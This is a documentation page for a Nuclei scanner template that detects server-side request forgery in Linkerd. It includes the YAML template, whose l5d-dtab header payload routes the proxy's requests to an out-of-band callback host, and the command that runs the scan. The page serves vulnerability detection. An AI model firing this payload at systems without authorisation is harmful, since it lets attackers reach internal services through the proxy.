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Nuclei Templates

Linkerd SSRF detection

ID: linkerd-ssrf-detection

Severity: high

Author: dudez

Tags: ssrf,linkerd,oast,misconfig

Description

Section titled “Description”

Linkerd is vulnerable to SSRF.

YAML Source

Section titled “YAML Source”
id: linkerd-ssrf-detection


info:
  name: Linkerd SSRF detection
  author: dudez
  severity: high
  description: Linkerd is vulnerable to SSRF.
  reference:
    - https://twitter.com/nirvana_msu/status/1084144955034165248
  metadata:
    max-request: 1
  tags: ssrf,linkerd,oast,misconfig


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    headers:
      l5d-dtab: /svc/* => /$/inet/{{interactsh-url}}/443
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"
# digest: 4a0a00473045022100e70b7bac3edb5ca3d7fbc3deed13346e8f8cf6b8ef10b750e6e6a0cad0fcd9d1022074f17f3475c752eac8c5e7dc4a29798c5703a4c47edb29920d4f3108ce09fc04:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/misconfiguration/linkerd-ssrf-detect.yaml"

View on Github